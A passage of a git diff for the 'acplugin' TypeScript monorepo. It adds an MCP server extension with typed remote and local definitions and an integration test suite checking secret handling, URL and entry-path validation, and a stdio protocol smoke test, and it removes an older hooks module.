LiteralValueSource | EnvironmentValueSource; + +/** 不需要认证的远程 MCP 声明。 */ +export interface NoMcpAuth { + /** 明确关闭认证。 */ + readonly type: 'none'; +} + +/** 由安装平台完成授权流程的 OAuth 声明。 */ +export interface OAuthMcpAuth { + /** 使用平台原生 OAuth 支持。 */ + readonly type: 'oauth'; + /** 请求的非空 OAuth Scope。 */ + readonly scopes?: readonly string[]; +} + +/** 从宿主环境读取 Token 的 Bearer 认证声明。 */ +export interface BearerMcpAuth { + /** 使用 Bearer Token。 */ + readonly type: 'bearer'; + /** 运行时读取 Token 的环境变量名称。 */ + readonly env: string; +} + +/** 规范远程 MCP 支持的认证策略。 */ +export type McpAuth = NoMcpAuth | OAuthMcpAuth | BearerMcpAuth; + +/** 由 defineMcpServer 注入且不出现在作者输入中的私有品牌。 */ +const mcpServerBrand: unique symbol = Symbol('acplugin.mcp-server'); + +/** 远程 HTTP MCP Server 的平台中立静态描述。 */ +export interface HttpMcpServer { + /** 仅由 defineMcpServer 注入的名义类型品牌。 */ + readonly [mcpServerBrand]: true; + /** 固定为远程 HTTP 传输。 */ + readonly transport: 'http'; + /** Server 的完整 HTTPS 或开发期 loopback URL。 */ + readonly url: string; + /** 无认证、OAuth 或 Bearer 环境变量认证。 */ + readonly auth?: McpAuth; + /** 公开字面量或运行时环境变量 Header。 */ + readonly headers?: Readonly>; +} + +/** 由作者提供完整实现的本地 stdio MCP Server 描述。 */ +export interface StdioMcpServer { + /** 仅由 defineMcpServer 注入的名义类型品牌。 */ + readonly [mcpServerBrand]: true; + /** 固定为本地 stdio 传输。 */ + readonly transport: 'stdio'; + /** 相对于当前 MCP 目录的入口,默认 `./server.ts`。 */ + readonly entry?: string; + /** 传给 Server 进程的公开字面量或运行时环境变量。 */ + readonly env?: Readonly>; +} + +/** 远程 HTTP 与本地 stdio 组成的规范 MCP Server 联合类型。 */ +export type McpServerDefinition = HttpMcpServer | StdioMcpServer; + +/** 配置作者提供的 MCP 定义,不包含框架私有品牌。 */ +export type McpServerInput + = | Omit + | Omit; + +/** + * 为 MCP Server 定义提供联合类型推断,并注入不可枚举的运行时品牌。 + * + * @param definition 作者提供的远程声明或本地实现配置。 + * @returns 冻结且只能由当前包识别的 MCP Server 定义。 + */ +export function defineMcpServer(definition: McpServerInput): McpServerDefinition { + /** 使用浅副本隔离作者随后对顶层字段的替换。 */ + const server = { ...definition } as McpServerInput & { [mcpServerBrand]?: true }; + Object.defineProperty(server, mcpServerBrand, { value: true, enumerable: false }); + return Object.freeze(server) as McpServerDefinition; +} + +/** + * 判断未知导出是否由当前包的 defineMcpServer 工厂创建。 + * + * @param value TypeScript 描述文件加载后的未知默认导出。 + * @returns 私有品牌存在且基础对象形态有效时返回 true。 + */ +export function isMcpServerDefinition(value: unknown): value is McpServerDefinition { + if (value === null || typeof value !== 'object') + return false; + /** 读取私有 Symbol 品牌所需的安全索引视图。 */ + const candidate = value as Record; + return candidate[mcpServerBrand] === true; +} diff --git a/packages/extensions/mcp/test/mcp.test.ts b/packages/extensions/mcp/test/mcp.test.ts new file mode 100644 index 0000000..3cfa1fe --- /dev/null +++ b/packages/extensions/mcp/test/mcp.test.ts @@ -0,0 +1,406 @@ +import { spawn } from 'node:child_process'; +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import type { BuildResult, RunProjectOptions } from '@tokenroll/acplugin'; +import mcp, { defineMcpServer, EXTENSION_NAME } from '../src/index.js'; + +/** 当前测试文件所在仓库的绝对根目录。 */ +const repositoryRoot = path.resolve(import.meta.dirname, '../../../..'); + +/** 测试描述文件通过临时包入口加载的 MCP Extension 构建产物。 */ +const extensionEntry = path.join(repositoryRoot, 'packages/extensions/mcp/dist/index.mjs'); + +/** 测试子进程直接加载的主包构建产物。 */ +const acpluginEntry = path.join(repositoryRoot, 'packages/acplugin/dist/index.mjs'); + +/** 当前测试创建并在 afterEach 中统一删除的临时工程。 */ +const temporaryRoots: string[] = []; + +/** 子进程的稳定退出状态和有限输出。 */ +interface ProcessResult { + /** Node 子进程退出码。 */ + readonly code: number | null; + /** 子进程完整标准输出。 */ + readonly stdout: string; + /** 子进程完整标准错误。 */ + readonly stderr: string; +} + +/** 创建临时规范工程时使用的 MCP fixture 选项。 */ +interface ProjectFixtureOptions { + /** 直接传入 `mcp(...)` 的可选 TypeScript 参数表达式。 */ + readonly mcpOptions?: string; + /** 远程 Server 描述对象表达式;false 表示不创建。 */ + readonly remote?: string | false; + /** 本地 Server 描述对象表达式;false 表示不创建。 */ + readonly local?: string | false; + /** 本地 Server 入口源码。 */ + readonly serverSource?: string; + /** 构建命令使用的顶层配置补充。 */ + readonly configFields?: string; +} + +/** + * 在原生 Node ESM 子进程中运行公开 API,确保私有品牌只加载一个主包实例。 + * + * @param options 可 JSON 序列化的项目运行选项。 + * @param environment 测试构建阶段显式加入的环境变量。 + * @returns 公开 API 产生的结构化 BuildResult。 + */ +async function runProject( + options: RunProjectOptions, + environment: Readonly> = {}, +): Promise { + /** 子进程直接导入真实主包构建产物并序列化结果的 ESM 源码。 */ + const source = ` +import { runProject } from ${JSON.stringify(acpluginEntry)}; +try { + const result = await runProject(${JSON.stringify(options)}); + process.stdout.write(JSON.stringify({ ok: true, result })); +} catch (error) { + process.stdout.write(JSON.stringify({ + ok: false, + name: error instanceof Error ? error.name : 'Error', + message: error instanceof Error ? error.message : 'Project execution failed.', + diagnostics: error && typeof error === 'object' && 'diagnostics' in error ? error.diagnostics : [], + })); +} +`; + /** 原生 ESM 子进程的执行结果。 */ + const execution = await executeNode(['--input-type=module', '--eval', source], '', environment); + if (execution.code !== 0) + throw new Error(`Project subprocess failed: ${execution.stderr}`); + /** 子进程返回的成功结果或安全异常摘要。 */ + const payload = JSON.parse(execution.stdout) as { + readonly ok: boolean; + readonly result?: BuildResult; + readonly name?: string; + readonly message?: string; + }; + if (!payload.ok || payload.result === undefined) + throw new Error(`${payload.name ?? 'Error'}: ${payload.message ?? 'Project execution failed.'}`); + return payload.result; +} + +/** + * 运行一个 Node 子进程并完整收集测试所需输出。 + * + * @param arguments_ 传给 Node 的参数。 + * @param input 写入标准输入的协议文本。 + * @param environment 追加到宿主环境的测试变量。 + * @returns 稳定退出码和标准输出、错误输出。 + */ +async function executeNode( + arguments_: readonly string[], + input: string, + environment: Readonly> = {}, +): Promise { + return new Promise((resolve, reject) => { + /** 不经过 shell 的真实 Node 子进程。 */ + const child = spawn(process.execPath, arguments_, { + env: { ...process.env, ...environment }, + stdio: ['pipe', 'pipe', 'pipe'], + }); + /** 子进程累计的标准输出。 */ + let stdout = ''; + /** 子进程累计的标准错误。 */ + let stderr = ''; + child.stdout.setEncoding('utf8'); + child.stderr.setEncoding('utf8'); + child.stdout.on('data', (chunk: string) => { + stdout += chunk; + }); + child.stderr.on('data', (chunk: string) => { + stderr += chunk; + }); + child.on('error', reject); + child.on('close', code => resolve({ code, stdout, stderr })); + child.stdin.end(input); + }); +} + +/** + * 在临时工程中创建可由 Jiti 和 Rolldown 共同解析的 Extension 包入口。 + * + * @param root 临时工程根目录。 + */ +async function writeExtensionProxy(root: string): Promise { + /** 临时 node_modules 中的 MCP Extension 包目录。 */ + const packageRoot = path.join(root, 'node_modules/@tokenroll/acplugin-extension-mcp'); + await fs.mkdir(packageRoot, { recursive: true }); + await fs.writeFile(path.join(packageRoot, 'package.json'), JSON.stringify({ + name: '@tokenroll/acplugin-extension-mcp', + version: '1.0.0', + type: 'module', + exports: './index.mjs', + })); + await fs.writeFile( + path.join(packageRoot, 'index.mjs'), + `export * from ${JSON.stringify(extensionEntry)}; export { default } from ${JSON.stringify(extensionEntry)};\n`, + ); +} + +/** + * 写入一个实际参与 Bundle 和第三方许可收集的本地 npm 依赖。 + * + * @param root 临时工程根目录。 + */ +async function writeLicensedDependency(root: string): Promise { + /** 临时 node_modules 中的第三方测试包目录。 */ + const packageRoot = path.join(root, 'node_modules/mcp-fixture-dependency'); + await fs.mkdir(packageRoot, { recursive: true }); + await fs.writeFile(path.join(packageRoot, 'package.json'), JSON.stringify({ + name: 'mcp-fixture-dependency', + version: '4.5.6', + type: 'module', + exports: './index.js', + license: 'MIT', + })); + await fs.writeFile(path.join(packageRoot, 'index.js'), 'export const serverName = "fixture";\n'); + await fs.writeFile(path.join(packageRoot, 'LICENSE'), 'MCP fixture dependency license.\n'); +} + +/** + * 创建带最小 Skill、配置和可选远程/本地 MCP 的真实临时工程。 + * + * @param options MCP 定义、入口和构建配置。 + * @returns 已登记清理的工程绝对路径。 + */ +async function createProject(options: ProjectFixtureOptions = {}): Promise { + /** 当前测试独占的临时工程根目录。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-mcp-test-')); + temporaryRoots.push(root); + await writeExtensionProxy(root); + await writeLicensedDependency(root); + await fs.mkdir(path.join(root, 'src/skills/hello'), { recursive: true }); + await fs.writeFile( + path.join(root, 'src/skills/hello/SKILL.md'), + '---\ndescription: Say hello.\n---\nSay hello to the user.\n', + ); + if (options.remote !== false) { + await fs.mkdir(path.join(root, 'src/mcp/docs'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/mcp/docs/mcp.ts'), ` +import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; +export default defineMcpServer(${options.remote ?? `{ + transport: 'http', + url: 'https://mcp.example.com/mcp', + auth: { type: 'bearer', env: 'DOCS_TOKEN' }, + headers: { 'X-Tenant': { env: 'DOCS_TENANT' }, 'X-Client': { value: 'acplugin-test' } }, +}`}); +`); + } + if (options.local !== false) { + await fs.mkdir(path.join(root, 'src/mcp/local-tools'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/mcp/local-tools/mcp.ts'), ` +import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; +export default defineMcpServer(${options.local ?? `{ + transport: 'stdio', + env: { LOG_LEVEL: { value: 'warn' }, API_TOKEN: { env: 'LOCAL_TOKEN' } }, +}`}); +`); + await fs.writeFile(path.join(root, 'src/mcp/local-tools/server.ts'), options.serverSource ?? ` +import { serverName } from 'mcp-fixture-dependency'; +let buffer = ''; +process.stdin.setEncoding('utf8'); +process.stdin.on('data', (chunk) => { + buffer += chunk; + const lines = buffer.split('\\n'); + buffer = lines.pop() ?? ''; + for (const line of lines.filter(Boolean)) { + const message = JSON.parse(line); + if (message.method === 'initialize') { + process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, result: { + protocolVersion: message.params.protocolVersion, + capabilities: { tools: {} }, + serverInfo: { name: serverName, version: '1.0.0' }, + } }) + '\\n'); + } else if (message.method === 'tools/list') { + process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, result: { tools: [] } }) + '\\n'); + } + } +}); +`); + } + await fs.writeFile(path.join(root, 'acplugin.config.ts'), ` +import mcp from '@tokenroll/acplugin-extension-mcp'; +export default { + name: 'mcp-fixture', + version: '1.0.0', + description: 'MCP integration fixture.', + extensions: [mcp(${options.mcpOptions ?? ''})], + ${options.configFields ?? 'build: { strict: false },'} +}; +`); + return root; +} + +afterEach(async () => { + await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('MCP Extension', () => { + it('exposes branded definitions, filters resources, and rejects invalid options', async () => { + /** 公开工厂创建的默认 MCP Extension。 */ + const extension = mcp(); + /** 公开辅助函数创建的品牌化远程定义。 */ + const definition = defineMcpServer({ transport: 'http', url: 'https://example.com/mcp' }); + expect(EXTENSION_NAME).toBe('@tokenroll/acplugin-extension-mcp'); + expect(extension.name).toBe(EXTENSION_NAME); + expect(extension.adapters.map(adapter => adapter.platform)).toEqual([ + 'claude-code', 'codex', 'cursor', 'antigravity', 'opencode', 'pi', + ]); + expect(Object.isFrozen(extension)).toBe(true); + expect(Object.isFrozen(definition)).toBe(true); + expect(() => mcp({ include: ['docs', 'docs'] })).toThrow('duplicate ID'); + expect(() => mcp({ include: ['Not-Kebab'] })).toThrow('lowercase kebab-case'); + expect(() => mcp({ unknown: true } as never)).toThrow('Unknown MCP option'); + + /** include 只选择远程 Server 的真实工程。 */ + const root = await createProject({ mcpOptions: `{ include: ['docs'] }` }); + /** 筛选后的双 Platform 构建结果。 */ + const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); + expect(result.success).toBe(true); + await expect(fs.access(path.join(root, 'dist/codex/plugin/mcp/local-tools/server.mjs'))).rejects.toThrow(); + expect(JSON.parse(await fs.readFile(path.join(root, 'dist/codex/plugin/.mcp.json'), 'utf8'))) + .toHaveProperty('docs.url', 'https://mcp.example.com/mcp'); + }); + + it('builds remote and local Servers once without reading or leaking Secret values', async () => { + /** 同时覆盖 HTTP、stdio、环境引用和第三方许可的工程。 */ + const root = await createProject(); + /** 用可检测的 Secret 值证明构建阶段只保留变量名称。 */ + const secret = 'MUST_NOT_APPEAR_IN_BUILD_OUTPUT_9f6a'; + /** 完整提交双 Platform 交付单元的构建结果。 */ + const result = await runProject( + { cwd: root, command: 'build', mode: 'production' }, + { DOCS_TOKEN: secret, DOCS_TENANT: secret, LOCAL_TOKEN: secret }, + ); + expect(result.success).toBe(true); + + /** Claude Code wrapped MCP 清单。 */ + const claude = JSON.parse(await fs.readFile( + path.join(root, 'dist/claude-code/plugin/.mcp.json'), + 'utf8', + )) as Record; + /** Codex direct MCP 清单。 */ + const codex = JSON.parse(await fs.readFile( + path.join(root, 'dist/codex/plugin/.mcp.json'), + 'utf8', + )) as Record; + expect(claude).toHaveProperty('mcpServers.docs.headers.Authorization', 'Bearer ${DOCS_TOKEN}'); + expect(claude).toHaveProperty('mcpServers.local-tools.args.0', '${CLAUDE_PLUGIN_ROOT}/mcp/local-tools/server.mjs'); + expect(codex).toMatchObject({ + 'docs': { + url: 'https://mcp.example.com/mcp', + bearer_token_env_var: 'DOCS_TOKEN', + env_http_headers: { 'X-Tenant': 'DOCS_TENANT' }, + http_headers: { 'X-Client': 'acplugin-test' }, + }, + 'local-tools': { + command: 'node', + args: ['./mcp/local-tools/server.mjs'], + cwd: '.', + env: { LOG_LEVEL: 'warn' }, + env_vars: ['LOCAL_TOKEN'], + }, + }); + expect(JSON.stringify({ result, claude, codex })).not.toContain(secret); + + /** 两个平台复用同一平台中立 Server Bundle。 */ + const claudeServer = path.join(root, 'dist/claude-code/plugin/mcp/local-tools/server.mjs'); + /** Codex 安装包中的同一 Server Bundle。 */ + const codexServer = path.join(root, 'dist/codex/plugin/mcp/local-tools/server.mjs'); + expect(await fs.readFile(claudeServer)).toEqual(await fs.readFile(codexServer)); + expect((await fs.stat(codexServer)).mode & 0o111).not.toBe(0); + expect(await fs.readFile( + path.join(root, 'dist/codex/plugin/mcp/local-tools/THIRD_PARTY_LICENSES.txt'), + 'utf8', + )).toContain('mcp-fixture-dependency@4.5.6'); + + /** 使用真实 initialize/list-tools JSON-RPC 流验证安装产物可执行。 */ + const protocolInput = [ + JSON.stringify({ + jsonrpc: '2.0', id: 1, method: 'initialize', + params: { protocolVersion: '2025-11-25', capabilities: {}, clientInfo: { name: 'test', version: '1.0.0' } }, + }), + JSON.stringify({ jsonrpc: '2.0', method: 'notifications/initialized' }), + JSON.stringify({ jsonrpc: '2.0', id: 2, method: 'tools/list', params: {} }), + '', + ].join('\n'); + /** 本地 Bundle 的实际协议响应。 */ + const execution = await executeNode([codexServer], protocolInput); + expect(execution).toMatchObject({ code: 0, stderr: '' }); + expect(execution.stdout.trim().split('\n').map(line => JSON.parse(line))).toEqual([ + expect.objectContaining({ id: 1, result: expect.objectContaining({ serverInfo: { name: 'fixture', version: '1.0.0' } }) }), + { jsonrpc: '2.0', id: 2, result: { tools: [] } }, + ]); + }); + + it('enforces production URL, value-source, entry, and include safety', async () => { + /** 使用 HTTP、非法认证和值来源的远程定义。 */ + const remoteRoot = await createProject({ + local: false, + remote: `{ + transport: 'http', + url: 'http://example.com/mcp', + auth: { type: 'bearer', env: 'INVALID-NAME' }, + headers: { 'X-Secret': { value: 'public', env: 'PRIVATE_TOKEN' } }, + } as never`, + mcpOptions: `{ include: ['docs', 'missing'] }`, + }); + /** 远程安全策略产生的结构化失败结果。 */ + const remote = await runProject({ cwd: remoteRoot, command: 'validate', mode: 'production' }); + expect(remote.success).toBe(false); + expect(remote.diagnostics).toEqual(expect.arrayContaining([ + expect.objectContaining({ code: 'MCP_HTTPS_REQUIRED' }), + expect.objectContaining({ code: 'MCP_BEARER_INVALID' }), + expect.objectContaining({ code: 'MCP_VALUE_SOURCE_INVALID' }), + expect.objectContaining({ code: 'MCP_INCLUDE_MISSING' }), + ])); + + /** 使用目录逃逸入口的本地定义。 */ + const localRoot = await createProject({ + remote: false, + local: `{ transport: 'stdio', entry: '../outside.ts' }`, + }); + /** 入口边界验证必须在 Bundle 之前失败。 */ + const local = await runProject({ cwd: localRoot, command: 'validate', mode: 'production' }); + expect(local.success).toBe(false); + expect(local.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_ENTRY_ESCAPE' })); + }); + + it('rejects local bundles that do not complete the MCP protocol smoke', async () => { + /** 立即退出且不响应 initialize 的无效本地实现。 */ + const root = await createProject({ + remote: false, + serverSource: 'process.exit(0);\n', + }); + /** 构建必须在提交任何 Platform 产物前执行真实协议探测。 */ + const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); + expect(result.success).toBe(false); + expect(result.committed).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ + code: 'MCP_STDIO_SMOKE_FAILED', + phase: 'build', + })); + await expect(fs.access(path.join(root, 'dist'))).rejects.toThrow(); + }); + + it('rejects unresolved runtime dynamic imports in local MCP bundles', async () => { + /** Rolldown 无法静态解析且会原样保留到运行时的动态 import。 */ + const root = await createProject({ + remote: false, + serverSource: 'await import(process.argv[2]);\n', + }); + /** 不完整模块图由 Extension build 阶段拒绝。 */ + const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); + expect(result.success).toBe(false); + expect(result.committed).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ + code: 'EXTENSION_HOOK_FAILED', + phase: 'build', + })); + }); +}); diff --git a/packages/module-hooks/tsconfig.json b/packages/extensions/mcp/tsconfig.json similarity index 52% rename from packages/module-hooks/tsconfig.json rename to packages/extensions/mcp/tsconfig.json index 6ece4d3..3ae4da2 100644 --- a/packages/module-hooks/tsconfig.json +++ b/packages/extensions/mcp/tsconfig.json @@ -1,4 +1,4 @@ { - "extends": "../../tsconfig.base.json", + "extends": "../../../tsconfig.base.json", "include": ["src/**/*.ts", "test/**/*.ts"] } diff --git a/packages/module-mcp/tsdown.config.ts b/packages/extensions/mcp/tsdown.config.ts similarity index 55% rename from packages/module-mcp/tsdown.config.ts rename to packages/extensions/mcp/tsdown.config.ts index 6b516c7..133e8ce 100644 --- a/packages/module-mcp/tsdown.config.ts +++ b/packages/extensions/mcp/tsdown.config.ts @@ -1,16 +1,17 @@ import { defineConfig } from 'tsdown'; import { fileURLToPath } from 'node:url'; -// 公开 MCP Module 保持主包为 Peer Dependency,并在构建后执行发布结构检查。 +/** MCP Extension 骨架保持主包为 Peer Dependency。 */ export default defineConfig({ - entry: [fileURLToPath(new URL('./src/index.ts', import.meta.url))], + entry: { + index: fileURLToPath(new URL('./src/index.ts', import.meta.url)), + bundler: fileURLToPath(new URL('./src/bundler.ts', import.meta.url)), + }, format: ['esm'], platform: 'node', target: 'node20', dts: { generator: 'oxc' }, clean: true, sourcemap: false, - publint: true, - attw: { profile: 'esm-only', level: 'error' }, deps: { neverBundle: ['@tokenroll/acplugin'] }, }); diff --git a/packages/module-hooks/README.md b/packages/module-hooks/README.md deleted file mode 100644 index c705930..0000000 --- a/packages/module-hooks/README.md +++ /dev/null @@ -1,37 +0,0 @@ -# @tokenroll/acplugin-module-hooks - -Official optional Hooks Module for `@tokenroll/acplugin`. It bundles local TypeScript handlers into installable Node.js runners for Claude Code and Codex. - -```ts -// acplugin.config.ts -import { defineConfig } from '@tokenroll/acplugin'; -import hooks from '@tokenroll/acplugin-module-hooks'; - -export default defineConfig({ - name: 'policy-plugin', - version: '1.0.0', - description: 'Portable local policy hooks.', - modules: [hooks()], -}); -``` - -```ts -// src/hooks/policy/hook.ts -import { defineHook } from '@tokenroll/acplugin-module-hooks'; - -export default defineHook({ - event: 'PreToolUse', - matcher: 'Bash', - async run(input) { - return input.cwd ? { decision: 'allow' } : { decision: 'deny', reason: 'Missing working directory.' }; - }, -}); -``` - -Handlers receive normalized input and return semantic decisions. acplugin owns target protocol mapping, bounded JSON I/O, error redaction, executable bundling, and third-party license notices. - -See the [Hooks documentation](https://github.com/TokenRollAI/acplugin#hooks-module) for the portable and target-specific event matrix. - -## License - -MIT diff --git a/packages/module-hooks/src/index.ts b/packages/module-hooks/src/index.ts deleted file mode 100644 index e269782..0000000 --- a/packages/module-hooks/src/index.ts +++ /dev/null @@ -1,704 +0,0 @@ -import { promises as fs } from 'node:fs'; -import path from 'node:path'; -import { build as rolldownBuild, type OutputChunk } from 'rolldown'; -import { - bytesArtifact, - stableJson, - type AcpluginModule, - type CompatibilityEntry, - type ModuleBuildContext, - type ModuleDiscoverContext, - type ModuleGenerateContext, - type ModuleValidateContext, - type TargetContribution, - type TargetId, -} from '@tokenroll/acplugin'; - -/** Hooks 官方 Module 的稳定名称,也是诊断和配置依赖使用的唯一 ID。 */ -export const HOOKS_MODULE_NAME = '@tokenroll/acplugin-module-hooks'; - -/** Claude Code 与 Codex 当前都可通过本地命令 Handler 表达的 Hook 事件。 */ -export const PORTABLE_HOOK_EVENTS = [ - 'SessionStart', 'SessionEnd', 'UserPromptSubmit', 'PreToolUse', - 'PermissionRequest', 'PostToolUse', 'PreCompact', 'PostCompact', - 'SubagentStart', 'SubagentStop', 'Stop', -] as const; - -/** 当前只能为 Claude Code 生成、在 Codex 目标上报告不支持的 Hook 事件。 */ -export const CLAUDE_ONLY_HOOK_EVENTS = [ - 'Setup', 'UserPromptExpansion', 'PermissionDenied', 'PostToolUseFailure', - 'PostToolBatch', 'Notification', 'MessageDisplay', 'TaskCreated', 'TaskCompleted', - 'StopFailure', 'TeammateIdle', 'InstructionsLoaded', 'ConfigChange', 'CwdChanged', - 'DirectoryAdded', 'FileChanged', 'WorktreeCreate', 'WorktreeRemove', - 'Elicitation', 'ElicitationResult', -] as const; - -/** 两个内置目标均支持的 Hook 事件联合类型。 */ -export type PortableHookEvent = typeof PORTABLE_HOOK_EVENTS[number]; -/** 仅 Claude Code 支持的 Hook 事件联合类型。 */ -export type ClaudeOnlyHookEvent = typeof CLAUDE_ONLY_HOOK_EVENTS[number]; -/** acplugin Hooks Module 接受的全部 Hook 事件。 */ -export type HookEvent = PortableHookEvent | ClaudeOnlyHookEvent; - -/** 传递给 Hook 实现的规范化事件输入,并保留平台额外字段。 */ -export interface HookInput { - /** 已从平台字段规范化的 Hook 事件名。 */ - event: Event; - /** 当前 AI 平台会话 ID。 */ - sessionId: string; - /** 平台提供时的会话记录文件路径。 */ - transcriptPath?: string | null; - /** Hook 触发时的工作目录。 */ - cwd: string; - /** 平台或事件特有、经过 snake_case 转 camelCase 的额外输入。 */ - [field: string]: unknown; -} - -/** 由生成的运行器提供给 Hook 实现的跨平台运行时上下文。 */ -export interface HookRuntimeContext { - /** 当前实际运行的目标平台。 */ - target: TargetId; - /** 已安装 Plugin 的根目录。 */ - pluginRoot: string; - /** 平台提供的 Plugin 可写数据目录。 */ - pluginData: string; -} - -/** 只允许向平台附加系统消息、不改变流程的 Hook 结果。 */ -interface AdvisoryResult { - /** 平台支持时展示或注入的系统级提示。 */ - systemMessage?: string; -} - -/** 可向当前模型上下文追加文本的 Hook 结果。 */ -interface ContextResult extends AdvisoryResult { - /** 注入当前会话或调用上下文的补充信息。 */ - additionalContext?: string; -} - -/** 带可选原因的事件决策结果。 */ -interface DecisionResult extends AdvisoryResult { - /** 当前事件允许的规范决策值。 */ - decision?: Decision; - /** 平台支持时随决策返回的解释。 */ - reason?: string; -} - -/** 不携带 reason、只控制生命周期流转的 Hook 结果。 */ -interface FlowResult extends AdvisoryResult { - /** 当前流程事件允许的规范决策值。 */ - decision?: Decision; -} - -/** 为每个可移植 Hook 事件定义精确的结果字段和决策联合类型。 */ -export interface HookResultByEvent { - /** 会话开始时可追加上下文或停止继续。 */ - SessionStart: ContextResult & FlowResult<'continue' | 'stop'>; - /** 会话结束只允许返回提示信息。 */ - SessionEnd: AdvisoryResult; - /** 用户提示提交前可追加上下文或拒绝提示。 */ - UserPromptSubmit: ContextResult & DecisionResult<'allow' | 'deny'>; - /** 工具使用前可决策、修改输入并追加上下文。 */ - PreToolUse: ContextResult & DecisionResult<'allow' | 'deny'> & { updatedInput?: unknown }; - /** 权限请求可允许、拒绝或交回平台默认处理。 */ - PermissionRequest: DecisionResult<'allow' | 'deny' | 'defer'>; - /** 工具使用后可放行或阻断,并追加上下文。 */ - PostToolUse: ContextResult & DecisionResult<'pass' | 'block'>; - /** 压缩前可继续或停止流程。 */ - PreCompact: FlowResult<'continue' | 'stop'>; - /** 压缩后可继续或停止流程。 */ - PostCompact: FlowResult<'continue' | 'stop'>; - /** 子代理启动时可追加上下文。 */ - SubagentStart: ContextResult; - /** 子代理准备停止时可结束或要求继续。 */ - SubagentStop: DecisionResult<'finish' | 'continue'>; - /** 主流程准备停止时可结束或要求继续。 */ - Stop: DecisionResult<'finish' | 'continue'>; -} - -/** 根据事件类型选择精确结果;平台专有事件只允许 AdvisoryResult。 */ -export type HookResult - = void - | (Event extends keyof HookResultByEvent ? HookResultByEvent[Event] : AdvisoryResult); - -/** 单个 `src/hooks//hook.ts` 默认导出的完整 Hook 契约。 */ -export interface HookDefinition { - /** 由 defineHook 注入、供 discover 阶段验证来源的品牌字段。 */ - readonly __acpluginHook: true; - /** 需要订阅的 Hook 事件。 */ - event: Event; - /** 可选的平台匹配表达式;必须是有效正则字符串。 */ - matcher?: string; - /** 可选的 Handler 超时秒数。 */ - timeout?: number; - /** 平台支持时在 Hook 运行期间显示的状态文本。 */ - statusMessage?: string; - /** - * 处理规范化输入并返回与事件对应的结果。 - * - * @param input 事件输入和平台额外字段。 - * @param context 当前安装目标与 Plugin 目录上下文。 - */ - run(input: HookInput, context: HookRuntimeContext): HookResult | Promise>; -} - -/** 配置作者需要提供的 Hook 字段,不包含框架品牌字段。 */ -export type HookDefinitionInput = Omit, '__acpluginHook'>; - -/** - * 为 Hook 定义提供类型推断,并注入 discover 阶段使用的不可变品牌字段。 - * - * @param definition 配置作者提供的事件、匹配和 Handler。 - * @returns 冻结后的完整 HookDefinition。 - */ -export function defineHook(definition: HookDefinitionInput): HookDefinition { - return Object.freeze({ ...definition, __acpluginHook: true }); -} - -/** discover 阶段保存的 Hook 描述、目录与已执行定义。 */ -interface DiscoveredHook { - /** 从一级目录名称取得的 Hook ID。 */ - id: string; - /** 当前 Hook 的绝对源码目录。 */ - directory: string; - /** `hook.ts` 的绝对路径。 */ - sourcePath: string; - /** TypeScript 描述文件执行后得到的 Hook 定义。 */ - definition: HookDefinition; -} - -/** build 阶段向 generate 阶段传递的按 Hook、Target 索引 Bundle。 */ -interface BuiltHooksState { - /** 每个 Hook 对各支持目标生成的运行器。 */ - bundles: ReadonlyMap>; -} - -/** 单个 Hook 针对单个目标构建的可执行 Handler 与许可文件。 */ -interface BundledHook { - /** Rolldown 生成的独立 ESM Handler 路径。 */ - handler: string; - /** Bundle 包含第三方依赖时生成的合并许可文件。 */ - licenses?: string; -} - -/** Hook 一级目录接受的小写 kebab-case 格式。 */ -const ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; -/** 用于运行时配置验证的全部已知 Hook 事件集合。 */ -const ALL_EVENTS = new Set([...PORTABLE_HOOK_EVENTS, ...CLAUDE_ONLY_HOOK_EVENTS]); - -/** - * 兼容 Jiti 可能返回的模块命名空间或已解包默认导出。 - * - * @param value TypeScript Module 加载结果。 - * @returns 存在 default 时返回 default,否则返回原值。 - */ -function unwrapDefault(value: unknown): unknown { - if (value && typeof value === 'object' && 'default' in value) - return (value as { default: unknown }).default; - return value; -} - -/** Bundle 中一个第三方 npm 包的许可元数据与原始 Notice 文本。 */ -interface PackageLicense { - /** npm 包名。 */ - name: string; - /** npm 包版本。 */ - version: string; - /** package.json 声明的 SPDX 标识或 UNKNOWN。 */ - license: string; - /** 包根目录中发现的 LICENSE/NOTICE 文件。 */ - notices: readonly { name: string; text: string }[]; -} - -/** - * 从 Rolldown Module ID 向上查找所属 npm 包及其许可文件。 - * - * @param moduleId Bundle 图中的原始 Module ID。 - * @returns 第三方 node_modules 文件对应的许可记录;工程源码返回 undefined。 - * @throws 第三方包缺少元数据或许可文件时抛出异常,阻止发布不完整 Bundle。 - */ -async function packageLicenseForModule(moduleId: string): Promise { - /** 移除 Rolldown 查询参数和虚拟模块前缀后的文件路径。 */ - const normalized = moduleId.replace(/\?.*$/, '').replace(/^\0/, ''); - if (!normalized.includes(`${path.sep}node_modules${path.sep}`)) - return undefined; - /** 从模块文件开始向上查找 package.json 的当前目录。 */ - let directory = path.dirname(normalized); - /** 终止向上遍历的文件系统根目录。 */ - const root = path.parse(directory).root; - while (directory !== root) { - try { - /** 当前候选目录中的包清单。 */ - const manifest = JSON.parse(await fs.readFile(path.join(directory, 'package.json'), 'utf8')) as { - name?: unknown; - version?: unknown; - license?: unknown; - }; - if (typeof manifest.name === 'string' && typeof manifest.version === 'string') { - /** 包根目录的一级文件,用于发现法律文本。 */ - const entries = await fs.readdir(directory, { withFileTypes: true }); - /** 按稳定顺序保留的 LICENSE 与 NOTICE 文件名。 */ - const noticeFiles = entries - .filter(entry => entry.isFile() && /^(?:licen[cs]e|notice)(?:\..*)?$/i.test(entry.name)) - .map(entry => entry.name) - .sort((a, b) 